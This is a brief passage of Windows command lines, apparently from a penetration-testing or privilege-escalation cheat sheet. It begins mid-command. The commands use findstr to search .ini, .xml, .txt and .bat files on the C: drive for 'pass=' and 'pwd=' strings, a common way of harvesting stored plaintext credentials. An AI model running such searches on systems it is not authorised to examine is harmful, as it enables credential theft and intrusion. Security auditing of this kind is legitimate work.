C:\*.ini C:\*.xml C:\*.txt C:\*.bat 2> nul findstr /si “pass=” C:\*.ini C:\*.xml C:\*.txt C:\*.bat 2> nul findstr /si “pwd=” C:\*.ini C:\*.xml C:\*.txt C:\*.bat 2> nul